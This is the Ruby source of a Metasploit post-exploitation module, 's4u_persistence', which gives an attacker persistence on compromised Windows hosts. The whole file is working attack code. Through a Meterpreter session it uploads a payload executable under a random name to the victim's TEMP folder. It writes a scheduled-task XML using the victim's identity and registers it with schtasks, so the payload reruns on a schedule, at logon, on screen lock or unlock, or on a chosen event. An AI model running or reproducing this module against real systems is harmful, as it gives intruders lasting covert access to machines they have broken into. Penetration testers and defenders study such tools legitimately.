metasploit-framework/modules/exploits/windows/local/s4u_persistence.rb

370 lines
13 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Exploit::EXE
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage User Level Persistent Payload Installer',
'Description' => %q{
Creates a scheduled task that will run using service-for-user (S4U).
This allows the scheduled task to run even as an unprivileged user
that is not logged into the device. This will result in lower security
context, allowing access to local resources only. The module
requires 'Logon as a batch job' permissions (SeBatchLogonRight).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ]
]
))
register_options(
[
OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['event', 'lock', 'logon', 'schedule', 'unlock']]),
OptString.new('REXENAME', [false, 'Name of exe on remote system']),
OptString.new('RTASKNAME', [false, 'Name of task on remote system']),
OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])
])
register_advanced_options(
[
OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
OptString.new('XPATH', [false, 'XPath query'])
])
end
def exploit
if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above")
end
if datastore['TRIGGER'] == "event"
if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
print_status("The properties of any event in the event viewer will contain this information")
fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
end
end
# Generate payload
payload = generate_payload_exe
# Generate remote executable name
rexename = generate_rexename
# Generate path names
xml_path,rexe_path = generate_path(rexename)
# Upload REXE to victim fs
upload_rexe(rexe_path, payload)
# Create basic XML outline
xml = create_xml(rexe_path)
# Fix XML based on trigger
xml = add_xml_triggers(xml)
# Write XML to victim fs, if fail clean up
write_xml(xml, xml_path, rexe_path)
# Name task with Opt or give random name
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
# Create task with modified XML
create_task(xml_path, schname, rexe_path)
end
##############################################################
# Generate name for payload
# Returns name
def generate_rexename
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
if not rexename =~ /\.exe$/
print_warning("#{datastore['REXENAME']} isn't an exe")
end
return rexename
end
##############################################################
# Generate Path for payload upload
# Returns path for XML and payload
def generate_path(rexename)
# Generate a path to write payload and XML
path = datastore['PATH'] || session.sys.config.getenv('TEMP')
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
rexe_path = "#{path}\\#{rexename}"
return xml_path,rexe_path
end
##############################################################
# Upload the executable payload
# Returns boolean for success
def upload_rexe(path, payload)
vprint_status("Uploading #{path}")
if file? path
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
end
begin
write_file(path, payload)
rescue => e
fail_with(Failure::Unknown, "Could not upload to #{path}")
end
print_good("Successfully Uploaded remote executable to #{path}")
end
##############################################################
# Creates a scheduled task, exports as XML, deletes task
# Returns normal XML for generic task
def create_xml(rexe_path)
xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml")
xml_file = File.new(xml_path,"r")
xml = xml_file.read
xml_file.close
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
rescue
print_warning("Could not read system time from victim... Using your local time to determine creation date")
t = ::Time.now
end
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")
# Put in correct times
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
domain, user = client.sys.config.getuid.split('\\')
# Put in user information
xml = xml.sub(/DOMAINHERE/, user)
xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")
xml = xml.sub(/COMMANDHERE/, rexe_path)
return xml
end
##############################################################
# Takes the XML, alters it based on trigger specified. Will also
# add in expiration tag if used.
# Returns the modified XML
def add_xml_triggers(xml)
# Insert trigger
case datastore['TRIGGER']
when 'logon'
# Trigger based on winlogon event, checks windows license key after logon
print_status("This trigger triggers on event 4101 which validates the Windows license")
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
xml = create_trigger_event_tags("Application", line, xml)
when 'lock'
xml = create_trigger_tags("SessionLock", xml)
when 'unlock'
xml = create_trigger_tags("SessionUnlock", xml)
when 'event'
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
# Append xpath queries
line << " and #{datastore['XPATH']}"
# Print XPath query, useful to user to spot issues with uncommented single quotes
print_status("XPath query: #{line}")
end
xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)
when 'schedule'
# Change interval tag, insert into XML
if datastore['FREQUENCY'] != 0
minutes = datastore['FREQUENCY']
else
print_status("Defaulting frequency to every hour")
minutes = 60
end
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")
# Insert expire tag if not 0
unless datastore['EXPIRE_TIME'] == 0
# Generate expire tag
end_boundary = create_expire_tag
# Inject expire tag
insert = xml.index("</StartBoundary>")
xml.insert(insert + 16, "\n #{end_boundary}")
end
end
return xml
end
##############################################################
# Creates end boundary tag which expires the trigger
# Returns XML for expire
def create_expire_tag()
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack("v*")
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
rescue
print_error("Could not read system time from victim... Using your local time to determine expire date")
t = ::Time.now
end
# Create time object to add expire time to and create tag
t = t + (datastore['EXPIRE_TIME'] * 60)
date = t.strftime("%Y-%m-%d")
time = t.strftime("%H:%M:%S")
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
return end_boundary
end
##############################################################
# Creates trigger XML for session state triggers and replaces
# the time trigger.
# Returns altered XML
def create_trigger_tags(trig, xml)
domain, user = client.sys.config.getuid.split('\\')
# Create session state trigger, weird spacing used to maintain
# natural Winadows spacing for XML export
temp_xml = "<SessionStateChangeTrigger>\n"
temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <StateChange>#{trig}</StateChange>\n"
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
temp_xml << " </SessionStateChangeTrigger>"
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
return xml
end
##############################################################
# Creates trigger XML for event based triggers and replaces
# the time trigger.
# Returns altered XML
def create_trigger_event_tags(log, line, xml)
# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
# used to maintain natural Windows spacing for XML export
temp_xml = "<EventTrigger>\n"
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << " <Subscription>&lt;QueryList&gt;&lt;Query Id=\"0\" "
temp_xml << "Path=\"#{log}\"&gt;&lt;Select Path=\"#{log}\"&gt;"
temp_xml << line
temp_xml << "&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;"
temp_xml << "</Subscription>\n"
temp_xml << " </EventTrigger>"
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
return xml
end
##############################################################
# Takes the XML and a path and writes file to filesystem
# Returns boolean for success
def write_xml(xml, path, rexe_path)
if file? path
delete_file(rexe_path)
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
end
begin
write_file(path, xml)
rescue
delete_file(rexe_path)
fail_with(Failure::Unknown, "Issues writing XML to #{path}")
end
print_good("Successfully wrote XML file to #{path}")
end
##############################################################
# Takes path and delete file
# Returns boolean for success
def delete_file(path)
begin
file_rm(path)
rescue
print_warning("Could not delete file #{path}, delete manually")
end
end
##############################################################
# Takes path and name for task and creates final task
# Returns boolean for success
def create_task(path, schname, rexe_path)
# create task using XML file on victim fs
create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
if create_task_response =~ /has successfully been created/
print_good("Persistence task #{schname} created successfully")
# Create to delete commands for exe and task
del_task = "schtasks /delete /tn \"#{schname}\" /f"
print_status("#{"To delete task:".ljust(20)} #{del_task}")
print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
del_task << "\ndel #{rexe_path}"
# Delete XML from victim
delete_file(path)
# Save info to notes DB
report_note(:host => session.session_host,
:type => "host.s4u_persistance.cleanup",
:data => {
:session_num => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:delete_commands => del_task
}
)
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
# Clean up
delete_file(rexe_path)
delete_file(path)
error = "The scheduled task name is already in use"
fail_with(Failure::Unknown, error)
else
error = "Issues creating task using XML file schtasks"
vprint_error("Error: #{create_task_response}")
if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
print_warning("Security log can restricted by UAC, try a different trigger")
end
# Clean up
delete_file(rexe_path)
delete_file(path)
fail_with(Failure::Unknown, error)
end
end
end